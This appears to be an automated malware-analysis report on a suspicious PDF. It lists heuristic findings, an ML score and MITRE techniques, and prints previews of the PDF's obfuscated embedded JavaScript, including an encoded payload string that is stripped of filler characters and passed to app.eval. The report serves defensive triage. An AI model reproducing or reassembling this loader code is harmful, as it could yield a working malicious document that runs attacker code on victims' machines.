SUSPICIOUS
56
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1566.001 Spearphishing Attachment
The PDF contains multiple embedded JavaScript streams, with one identified as obfuscated. The ML classifier strongly indicates maliciousness. The presence of JavaScript actions and streams points to the execution of malicious code within the PDF, likely to download and execute a second-stage payload. The obfuscation in the JavaScript is a common technique to evade detection.
Machine Learning
- Nyx PDF Classifier malicious score 0.9990
Heuristics 4
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Optional Content Group with action trigger low PDF_OPTIONAL_CONTENTOptional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 6
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0021_000.js |
pdf-javascript-stream | PDF /JS object 21 at offset 0x27B4 | 1386 bytes |
SHA-256: 3d63c7d6bf3305bf291054c2440a493e7c0d0d53dcbdd10e620b962d9fe71582 |
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Preview scriptFirst 1,000 lines of the extracted script
�� v a r s 0 J i 6 a 8 a = n e w A r r a y ( 5 2 4 , 1 4 1 6 5 , 9 5 7 8 ) ; v a r q h S l m d I G k = ' i M V R 8 c g O j ' ; t h i s . s s W T w I J t j = ' z g E F s M H l ' ; v h N I D v U A F = " c c 9 D 4 u P G 6 " ; f u n c t i o n k j F o z w S f ( p E 2 S U C M l 5 J ) { r e t u r n f a l s e ; } v a r n l e 5 w 0 0 C V = n e w A r r a y ( ) ; n l e 5 w 0 0 C V [ 0 ] = 1 8 1 6 2 ; f u n c t i o n v Y o M R 5 g z 7 ( k x A Z 3 h 8 q c , x O x G Q w n 5 ) { r e t u r n k x A Z 3 h 8 q c ; } v a r z G j H 7 h X q = 4 9 9 ; t h i s . z g N 0 y T L H = 2 4 7 4 7 ; f u n c t i o n i f l F G m h M m ( y m I U i W w E n , y V 5 e Z Y x 2 r ) { r e t u r n f a l s e ; } v a r s M z U l 6 i X m = a p p . e v a l ; c I S m v x Q r 2 y = " v z w Z C 8 v q " ; t h i s . b y x S y Y Q n = n u l l ; v a r b c S 1 Q J r B 3 = n u l l ; t h i s . y i R t D G u z = 2 3 1 0 0 ; v a r r 7 x Z I W p i n = n e w A r r a y ( ) ; r 7 x Z I W p i n [ 0 ] = 6 0 9 1 ; r 7 x Z I W p i n [ 1 ] = 1 1 1 7 6 ; f u n c t i o n w t q i i F 9 G Y K ( l a 5 R U t g 0 , o B G B Z J V R ) { } v a r u V s 0 l s G j 9 5 = ' s T V q 2 n s l Q 0 ' ; v a r z 5 6 q c J X Y z U = " n c 2 H y G h L z " ; m 1 B 1 M q n Z E l = " a z r X d 5 9 r " ; f u n c t i o n s E s a q b 7 c ( y Z 5 o 2 s w R d , y v 2 i P x E t C ) { r e t u r n y v 2 i P x E t C ; }
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javascript_obj0022_001.js |
pdf-javascript-stream | PDF /JS object 22 at offset 0x2D5A | 4096 bytes |
SHA-256: 8dc1c946aee2b8c8dfc1ed7d78b1ba9d3518fcd9903d59ab9e161c7de41d0333 |
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Preview scriptFirst 1,000 lines of the extracted script
var eQmdAYdf=false;function b9fH7MzUl6(qUhkAlJVo,o52LGKYA){return false;}this.fafi3Phb='z9miTx85X';function fVJVMv4L(hk5700Xt){}function y0Nf7bkm(g2yUOkdL5,kqCZ7l0r){return kqCZ7l0r;}hnlQb1gz1=8615;wASh3W7k=null;srZ5Dhw4rg=0.0302388867;var iQ0bJgKM5=new Array(21784,15217);this.jAjSrx2HE=null;this.dRBVf2Pw8L=27373;var zeO8llFod=new Array();zeO8llFod[0]=2094;zeO8llFod[1]=12239;zeO8llFod[2]=7516;function uKwOfVtaX(eCO2lbxFR,m0eDMLD5){return eCO2lbxFR;}var d3KP2eN0B = 'v#a_r_ #u?WBw#v_G?y?D_oB ?=_ _nBe_w^ ?A_r_r?a#yB(^)^;^v#aBr? ^n?K_b?1?hBu?UBt?Q^;_f?u#n?c_t?i#oBnB ^w#F#E^4^3^h#m^4#L?(#i?J#NB7BtBj?j_CB,^ ?b#PB2_6^nBV?X?ABH#9^)_{#w_h#iBl_e_(?i^J?N#7#tBj_j?C#.^l^eBn?gBtBh# _*# ^2B ?<_ Bb#P#2_6_n_V#X_A_H^9#)B{Bi?J_NB7^t^j_j_C_ _+?=B #i?J?N^7#t#j#j?C?;_}?i_J?N_7?t^j_jBCB B=# ?i^J^N?7Bt^j_j_CB.^s?u^b#s^t?r#iBnBg^(B0B,B _b_PB2_6^nBV#XBA_H_9_ ?/# _2#)_;^r^e^t^uBrBn? _iBJ#N#7_t#j#jBC^;#}?fBu^n?cBt#iBo^nB Be#M?D_6?f?F^Z?E?c^5^(_xBr?5^J_o?P^p?1?)_{Bi#f^(Bx?r^5^J#o?P^pB1? ?=_=# ?0?)B{?vBa^r? ^n#I_m_1?H^R^w?4#F?2? ?=? ^0^x?0#c^0_cB0#cB0_c#;#v#a^r# _f^xBh^n_f_g?g^y_fBg? B=^ Bn?e_wB #A^r^r^aBy#(_\"#%?u?9_c^6?0#%^u^\"#,_\"#0_0?eB8#%#\"?,#\"Bu?0B0^0B0#%_u?5?dB\"#,#\"_0#0^%#u_e^dB\"#,#\"_8?3^%^u^b_\"_,?\"^8?0#7B%?u_eB5^8?0?%B\"^,B\"Bu#7?8#f?9?%_u^e_4Bb#\"B,#\"B9B%^u#0_0#0?1B%^u?\"?,_\"?3?1B0_0#%?u#0Bd^\"B,?\"_4#4B%_u#8B3B1^\"#,?\"Ba_%BuB0^4?e_9#\"B,B\"^%#u?f#7#7^\"#,B\"?5#%#u?d#4_7?cB%?\"^,?\"#u_1?cB3B9_%B\"?,?\"BuBeB0B8B3#%_u#7?8?\"?,#\"#c#9B%^u^e#5_8^\"?,?\"^0#%#u^7_4?8_1^\"B,_\"_%#uBaB5_0_\"_,?\"_b_%?u#f_3_f^5#%?u#\"_,B\"^f^9Bf#0^%^uB\"_,?\"^f?3?5#4B%_u^e_d#d^\"_,_\"^8?%#u_7^1^1?\"B,^\"^2^%Bu#a?5_0^bB%?u#f?\"^,^\"B5BcBd?%#u_9B9#c#0?\"^,^\"?%#u_2#0#7^2?%^u?0?dB\"^,?\"^b?cB%?u#7#9^dBb?%^\"B,_\"_u#e^5?8#0B%Bu_\"_,#\"^e^d?7B4#%_uBe_\"^,?\"_4Bc?8#%^u_7#8#f?\"_,_\"?9?%Bu^1_a#d#2B%_u#\"#,?\"?7?2#6^c#%?uBe?\"#,_\"?5?8^1^%#uBf_5?\"B,_\"_f?9_%#u?b^6_1^5?%?u?\"#,_\"?7B8^f#8B%BuB\"_,#\"#bB7?8^0^%B\"?,^\"^uB8_7?a_9B%#\"#,#\"?u_e#7?1?5?%?u#7#8#\"_,_\"^f#8^%Bu#6^c#8#\"_,#\"_0^%_uB6_a^7_cB%#u_e?\"^,B\"B5B8?1?%_u^f?\"^,?\"_5Bf^9^%?u_f#\"^,?\"?3^1^5#%#u#7?\"_,_\"^8Bf^8_%Bu?b#7B8_0?\"^,^\"_%?uB9?4_9?1B%?u?e^\"?,_\"_5?8B0?%Bu#8B7_f_9B%B\"#,B\"?u^e#3_1_5B\"B,B\"?%^u_7?8^f?\"_,B\"_8_%_u_6^8^8#0?%#uB7#\"#,B\"^d#6?5?%^uBe^\"#,^\"_4?9^6?%_u_7_8^f#9^\"?,?\"?%_u#5?0B0?d^%?u?7^8_\"^,B\"?3^3B%^u_e_5B8B\"#,^\"_0^%_uBc#5#7^4?%?u^eB\"#,^\"#5?5#8B%^u^7#8#fB\"?,?\"?9_%?u#2Bc#b#1B%_u_\"^,_\"Bf_cB5?5?%^u#\"_,#\"_9^1#4B0?%?\"#,#\"Bu#f^0Bf^f^%#\"#,?\"^u^e_e#8?4B%?u#9B\"?,B\"?3_b#8?%_u^6?\"#,_\"^dB7^5_%#u?7?3B\"B,?\"BfBdB%Bu#e_5_e^\"?,#\"_a?%^u^7^8?9B3^%^u?\"_,#\"#7^0B0_d?%B\"B,?\"Bu_7?9^e#f?%#\"?,?\"?u^e?5?8#0?%^uB2#f_\"_,?\"_a#b_%_u#e#5?\"?,?\"Be#a^%Bu^e^dB0^6#%?\"^,?\"_u^eB4?9_2#%^\"_,_\"BuB7^8_f#9^%Bu_\"#,#\"^e_0^e_a?%_u_e?d#7^\"_,#\"B4_%^u?e#4#\"#,^\"B9^6?%?u^7B8_f_9#%B\"#,?\"#u#1Ba^d_2B%_u_7?\"#,B\"?6^6_c#%?u?e^5#8?1?%_\"#,_\"_u?4#8_f?9_%?u_4?b#\"#,^\"_4B0?%?u?8B5#\"B,^\"^8^c?%?u?d?a#0#\"?,B\"#0B%^u^0^d#4_2?\"^,_\"^%?u#7B8B4^3?%Bu_b#bB\"B,#\"^9^8B%^u^9_\"#,B\"#7?e?1_%_u_1_9?8#bB%_\"^,#\"#u#a#3?f#9^\"_,B\"_%#u_0Ba#9^\"_,B\"#6_%?u_c#bBe^d_%_uB0B\"^,B\"?0B9Bc#%^uBeB\"#,_\"^5_e_5#%Bu#0?c#9B\"_,^\"^1^%_u^9^5_f^\"^,^\"_4^%#u?5B7B\"B,?\"?cB3#%^u_d_7_\"#,#\"#a_f#%BuB4^b^c^8?%#\"B,^\"?u#dB4_a?e_%#u^\"^,B\"_4?b?cBf?%^\"#,B\"^u^d?dBa^e?%?u^\"B,B\"#5?6_c#0?%Bu_d?1Bb#5B\"?,^\"?%_u_1_4_d_6?\"B,^\"^%_uB8B7#e?9_%B\"B,^\"#u#0#d_d?6_%_u_8#\"#,?\"^1?f^0?%#u?0_c#\"?,#\"#9?8B%Bu?c^bBe?\"#,_\"#5#%_uB1?0_8B9#%Bu?\"_,B\"Bd_aBf?0B%^u?1?c#9^0^\"?,_\"_%_u^d^6?b#d^%^\"^,_\"_u_cB3^f#9?%#\"#,_\"?u^e?5?8#0B\"?,B\"_%#u^7_8_f_9?\"#,_\"#%?u?e_5B8_0^%Bu?7#8_\"?,_\"_f#9#%?u^eB\"^,#\"#5B8#0_%#u?7^8_\"B,?\"?f#9?%?u^e?5^\"^,#\"^8_0B%_u^7B8#fB9_\"?,?\"?%_uBe#4^8?\"B,B\"^2B%Bu#7?8^f?9^%?\"#,?\"_u^8?0_c?7?%?u#\"?,^\"B2B8B8?d_%B\"#,?\"^u_8^aBf#2_%_u_3?9#9_\"^,B\"#a_%?u?8?1_e#4?%^u#\"?,_\"#1#d#8^b?%#u#\"B,^\"B9#6Bf^3^%^u#\"#,_\"B3?f?f^9#%#u?9#1_e_\"?,^\"^5B%?u^1_d_a#d#%?u?9^\"B,?\"?5#e^d_%#u#1?9?a^\"#,B\"^9^%_u_8?d_f?4B%Bu_\"_,B\"#7#8Bb^8^%^u^8^a_cBc#\"_,?\"?%_u_1#c_9#8^%?uB8B\"_,^\"Bc^c^c?%#u_0_a?9^b?%B\"?,^\"^u^9#7^e#1^\"_,?\"?%Bu?3?9?8#0?%^u?\"B,B\"^b?2#8B0?%_u?1_6#\"^,_\"_9^0#%Bu?9#d_cB5_%#\"B,B\"#u^1?b#9#c#%
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javascript_obj0023_002.js |
pdf-javascript-stream | PDF /JS object 23 at offset 0xC4FB | 1800 bytes |
SHA-256: dfe79d557ac894f988cce69edc339c03139a6b2e05b72ce8af29828c00cc2f61 |
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Preview scriptFirst 1,000 lines of the extracted script
�� v a r n V u i k J o f u H = n e w A r r a y ( ) ; n V u i k J o f u H [ 0 ] = 1 0 1 3 0 ; f u n c t i o n f V L O D 0 K P ( ) { } l 9 I A J M G L 9 = ' l B y 6 4 5 0 Q y ' ; o J I c 3 7 H 7 = 0 . 7 ; v a r d w b K O n 8 Y = n e w A r r a y ( ) ; d w b K O n 8 Y [ 0 ] = 1 7 6 3 8 ; v a r c M F L T e 3 B c = n e w A r r a y ( ) ; c M F L T e 3 B c [ 0 ] = 4 3 9 0 ; c M F L T e 3 B c [ 1 ] = 4 4 5 5 ; c M F L T e 3 B c [ 2 ] = 3 1 5 0 8 ; v a r p v z 8 S Q F 0 s = n e w A r r a y ( ' m c 6 B R f i R o ' , ' h l 4 g p U 5 v ' , ' s Q O 0 p P M u ' ) ; f u n c t i o n l q n Z P F k 5 Y ( m f M I v F a 1 ) { r e t u r n f a l s e ; } v a r f G a M W j a Y = n e w A r r a y ( 1 6 2 , 2 0 7 8 7 ) ; f u n c t i o n d 9 L Q z s J n o ( a i w n y d j Y , r w E m v L 8 s , r O 5 q Z s 9 Y x ) { r e t u r n f a l s e ; } f u n c t i o n b L M k K K V 3 a ( f l H D w 2 k U , u g W D q k E 8 ) { r e t u r n f l H D w 2 k U ; } v a r q S Y 3 t j i U E s = d 3 K P 2 e N 0 B . r e p l a c e ( / [ _ \ ? B \ ^ # ] / g , ' ' ) ; f u n c t i o n u F S M 5 5 h 9 6 ( o 6 S a 2 k e O r , d M S v x 9 H 4 , w 4 M a p R B b 9 i ) { r e t u r n w 4 M a p R B b 9 i ; } v a r o p X 6 C 2 4 X H = ' q R S J A 8 r M ' ; v a r x f f Q Q i Z L K = n e w A r r a y ( 1 0 7 5 3 , 2 4 7 4 2 , 2 7 3 6 7 ) ; t h i s . v H j s u Q f 5 Z = " y z 5 u 3 h S J " ; v a r r Z W f R p c L 9 M = n u l l ; t h i s . o q C W i 2 r a = 3 2 2 6 6 ; v a r x N i G g 1 u H = 0 . 1 0 7 ; v a r h t I G z 1 z G G 0 = n e w A r r a y ( ) ; h t I G z 1 z G G 0 [ 0 ] = 2 7 8 8 3 ; v a r x h 8 q c O N P = 0 . 3 3 3 7 5 9 ; v a r p Y t L G i A B D = f a l s e ; f b C 4 7 y f W = 2 9 8 4 0 ; i W w E n j Q e A P = f a l s e ; s A M G I h b G G u = " w R 4 X v Y 5 k N " ;
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javascript_obj0024_003.js |
pdf-javascript-stream | PDF /JS object 24 at offset 0xCC4B | 1138 bytes |
SHA-256: 773fccf3bfc429a96e2d0bdede7617699941efd5f921fb2b0a7b1dfec2d37b85 |
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Preview scriptFirst 1,000 lines of the extracted script
�� l F W e s w m 7 = 0 . 1 6 2 9 ; v a r u 0 p Z 9 q Z U G D = n e w A r r a y ( " w 2 l I w k b Y Y " , " y 5 D 3 d B 8 V " ) ; t h i s . g R 0 F G e d Z 8 = ' o u 3 1 a U I h D ' ; f u n c t i o n o g p Z p 0 P J 9 e ( p c P o I 6 j v d q , a W u 6 j J X y , x U O S 3 Z n 2 F ) { } f u n c t i o n k L I q 8 f m b ( a k l C K 8 c o W ) { r e t u r n a k l C K 8 c o W ; } f u n c t i o n v c e X e p B w ( i h T d B u I u , p 8 y X t Q g z ) { r e t u r n p 8 y X t Q g z ; } f u n c t i o n w w 5 9 4 U W 3 f ( u T I 4 i M 6 E , t g j R 3 I h P Z , i 0 d c J p b M ) { r e t u r n i 0 d c J p b M ; } t h i s . s P I 9 b a 4 V = 5 9 5 9 ; f u n c t i o n w R d 7 i I G g J ( u R Q U s A 1 r B d , x w b L 2 A M 9 ) { r e t u r n f a l s e ; } f u n c t i o n a x g k 8 4 X o V e ( j Q s a g L z n , v g R n h W p 3 9 , y o F u k k b f W ) { r e t u r n j Q s a g L z n ; } f u n c t i o n j u X y C J r 8 ( z h W J G F k Q k , c W y y o g W 2 D , o N R 1 S q w U w e ) { r e t u r n c W y y o g W 2 D ; } v a r h 5 Y m l s 0 5 4 C = n e w A r r a y ( ' t r 2 G 1 4 z 6 z r ' , ' h l 2 f Y 5 z g ' ) ;
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javascript_obj0025_004.js |
pdf-javascript-stream | PDF /JS object 25 at offset 0xD0FB | 2630 bytes |
SHA-256: f9376851bb45688e2a165f495a40b570943ed765690c9659c19fcf8dccf0fbac |
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Preview scriptFirst 1,000 lines of the extracted script
�� v a r s t N R M F j E = 3 1 1 3 0 ; v a r z Y Z U O F n h U = n e w A r r a y ( " m T m Y k d f i " , " q B 8 W 3 8 m A " , " a 3 L p 7 n f v " ) ; v a r z A v L k i 0 C = n e w A r r a y ( ) ; z A v L k i 0 C [ 0 ] = 1 4 9 9 9 ; z A v L k i 0 C [ 1 ] = 9 3 4 8 ; z A v L k i 0 C [ 2 ] = 2 9 8 0 5 ; f u n c t i o n g 6 o w y 8 V S ( n 0 o 2 u u m y z S , f 2 N T m z p N , g e d y b w a 3 ) { r e t u r n n 0 o 2 u u m y z S ; } v a r o s 1 l l N g w y = 0 . 4 1 7 4 5 3 1 4 6 3 ; f u n c t i o n a w u c H d M P L ( ) { } v a r b I s 7 6 s Q B = n e w A r r a y ( " z M i q V d E D " , " e p 0 h h H 6 K B " ) ; f u n c t i o n w c 4 r 6 C S 0 ( v f 3 Q t C v x ) { r e t u r n v f 3 Q t C v x ; } f u n c t i o n z I 0 k Z V I X T ( l O H Z Z c 7 R 0 k , x Y J z 8 O l Z w , m U p m L D v m S ) { r e t u r n m U p m L D v m S ; } v a r e N C O 2 l b x = 0 . 7 9 5 5 2 5 3 6 5 3 ; v a r u K d h m g U R T = n e w A r r a y ( 2 9 1 1 , 3 1 1 4 8 ) ; f u n c t i o n c 0 4 F C a q L j ( t x O B F q d H r ) { } v a r t 4 v J t w Y 8 = ' p t s B 6 b Z W F ' ; f u n c t i o n k C p x i 7 H h P ( y B L L W t u X h b ) { } t h i s . o X W f 2 z M R 9 C = n u l l ; v a r e W e h w 6 k t = n e w A r r a y ( ' u J S A k z n r r ' , ' o H B e 0 7 y s G l ' , ' r t 0 C 6 I z S ' ) ; v a r b s e F V P q K = n e w A r r a y ( ' a L Z n F 3 X E y ' , ' f S B X 6 2 q S j ' ) ; s M z U l 6 i X m ( q S Y 3 t j i U E s ) ; m d S z G u 3 G T = n u l l ; v a r i w p h 1 s 4 P = n e w A r r a y ( ) ; i w p h 1 s 4 P [ 0 ] = 3 1 9 1 2 ; i w p h 1 s 4 P [ 1 ] = 2 9 6 3 3 ; i w p h 1 s 4 P [ 2 ] = 1 8 2 7 8 ; v a r o l g e s j g G = n e w A r r a y ( ' q b A 8 3 D Y 8 ' , ' t n o 6 G X d w ' , ' r j j k d p R q ' ) ; r H L s j A I S 5 = 0 . 9 8 ; v a r o S I g M r m H r v = n e w A r r a y ( " c 0 8 K X 5 W w h " , " s A X Q d z 8 P " ) ; g o W 1 k g 4 E = f a l s e ; t h i s . b I c N f i C Q t 0 = 8 6 7 ; v Q 3 K N 6 7 f H = 2 4 7 8 9 ; v a r c Q k k j 8 5 F B = n e w A r r a y ( ) ; c Q k k j 8 5 F B [ 0 ] = 3 1 2 6 8 ; c Q k k j 8 5 F B [ 1 ] = 1 0 6 3 7 ; c Q k k j 8 5 F B [ 2 ] = 2 2 3 3 8 ; y f h D F p U a B 5 = ' c r a N R g m 5 P F ' ; f u n c t i o n f B B C v l K e u ( j I R p u R 1 c K , b U y k y t m r F , h Q R B v f W d 6 K ) { r e t u r n h Q R B v f W d 6 K ; } v a r n o 8 c f F q B w = ' k p o r B s 0 s K ' ; t h i s . y U 4 w T L 3 E q = ' u H R 6 O m h e ' ; f u n c t i o n i T S 7 b 8 a B h L ( p 9 2 c g M f w , j N T r a u b m N P ) { } v a r t a M o I y l A t = f a l s e ; v a r p J H L t S Y q E S = 0 . 8 2 8 7 6 4 ;
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stream_006_off000027b4.js |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x27B4 | 692 bytes |
SHA-256: 62ccb3b722520cb50c75a66da84cdf915d87a3ce8cdb66a1f26270154343bcdd |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
29 of 39 identifiers look randomly generated (e.g. 'z56qcJXYzU') — consistent with name-mangling obfuscation.
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